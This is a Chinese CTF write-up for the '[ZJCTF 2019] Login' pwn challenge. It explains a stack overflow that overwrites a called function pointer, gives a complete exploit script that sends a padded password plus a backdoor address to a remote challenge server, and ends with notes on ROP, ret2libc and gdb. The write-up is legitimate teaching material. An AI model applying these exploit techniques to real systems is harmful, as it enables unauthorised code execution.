CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪
来源:https://buuoj.cn/challenges
内容:
附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8
答案:PWN题为动态flag
总体思路
检查题目逻辑发现执行call的地方
通过x键检查其被调用的地方发现var130
通过动调发现该值在栈中的位置,使用题目自带的后门函数完成
详细步骤
-
使用
pip install sgtlibc
安装pwn解题框架 -
发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点
-
题目是比较密码是否等于
2jctf_pa5sw0rd
,正确则跳转进入(**a1)()
-
发现此处的值是aaaa,则我们将密码设置为
2jctf_pa5sw0rd\x00
+cylic(300)继续测试。 -
同时通过回溯call eax的来源,发现其来自于
ebp+var130
,其在栈上的位置为0x48 -
故将payload 改为 b’2jctf_pa5sw0rd\x00’.ljust(0x48,b’\x00’)即可填充到call的位置,再加上p00(shell_addr)即可完成。
-
payload
-
import sgtlibc from sgtlibc.gamebox import * set_config(GameBoxConfig( is_local=True, file='./login', remote='node4.buuoj.cn:27456', auto_load=True, auto_show_rop=True, auto_show_summary=True, auto_start_game=True, auto_load_shell_str=True, auto_show_symbols=True )) s = sgtlibc.Searcher() elf = client.elf pause() sl('admin') # payload = ['2jctf_pa5sw0rd\x00', cyclic(300)] # sla('pass',payload) # 测试溢出点 shell_addr = 0x0400E88 payload = b'2jctf_pa5sw0rd\x00' payload = payload.ljust(0x48, b'\x00') payload += p00(shell_addr) sla('pass', payload) interactive()
-
注意此处填充要使用\x00,否则会导致地址被破坏。
-
参考文档
-
常见知识点
-
汇编
leave
equalmov esp,ebp; pop ebp;
ret
equalpop eip
-
函数参数
-
x86函数传参:直接从栈上读,且参数在返回地址上方
栈的执行顺序 ebp+(func1+f1_返回+f1_args)+(func2+f2_返回+f2_args)…
syscall的话则需要寄存器传参:ebx,ecx,edx,esi,edi,ebp
-
x64函数传参:按 rdi, rsi, rdx, rcx, r8, r9顺序读,后续的从栈上读
故x64需要调用ROP实现pop将参数从栈中传入寄存器
内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
-
-
ret2libc注意事项
- 当题目没有设置setbuf的时候,不要用plt.printf,否则不会有回显
- 注意有时候远程打不通的时候,可能是因为栈没有平衡,找一个ret走一下可能就好了。
-
gdb/pwndb
-
内存查看
- p expresion 查看指定数值 /print
- x 查看各类
- x/20g address 查数据 /global
- x/20i address 查反汇编 /
- x/20s address 查字符串 /strings
- x/20b address 查字节 /bytes
- hex查看hex及ascii
hex address size
- i r 查注册表 /inspect register
-
vmmap 内存查看
-
调试
- ni/下一步 si/进入 c/继续
- b addr/断点 e addr/enable断点 d/disable断点 q/退出
- set expression=xxx 设置内存
-
-
-
常用工具
- pwntools逆向python库
- Kali
- checksec:检查样本的基 本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
- ROPgadget/ropper:检查文件中可以利用的
gadget
或rop-chain
- 静态编译的题基本上都是可以一键生成ropchain的,ropper -f flower --chain “execve cmd=/bin/sh”
- 注意在
python3
版本中,生成的chain需要在所有的字符串前面加上b
表示十六进制值,否则会出现str
不能合并bytes
的报错
- gdb:程序动态调试工具,也可以直接使用ida的远程调试功能
- libc_searcher:用于retlibc题时候查询其libc版本
-
教程
- PWN全套讲解
- 2019 北航 CTF Pwn入门培训课程(一)
- 基础的rop使用方法
- 2019 北航 CTF Pwn入门培训课程(二)
- 为什么main的返回地址被替换为
system_addr
后 a=system_ret ;b=p aram_1- ret2libc使用pil节区中的
system
和/bin/sh
- 如果没有的话就看其他函数的地址以查到libc版本,以及其各值的地址
- ret2libc使用pil节区中的
- 如果是静态编译则使用int80调用rop链
- ROPgadget
- 通过
ROPgadget --binary rop --ropchain
获取可以直接使用的rop链 - 通过
ROPgadget --binary rop --only "pop|ret"
获取可以存值的地方
- 通过
- ROPgadget
- 为什么main的返回地址被替换为
- 2019 北航 CTF Pwn入门培训课程(三)
- 待解析
- 2019 北航 CTF Pwn入门培训课程(四)
- 待解析
-
常见知识点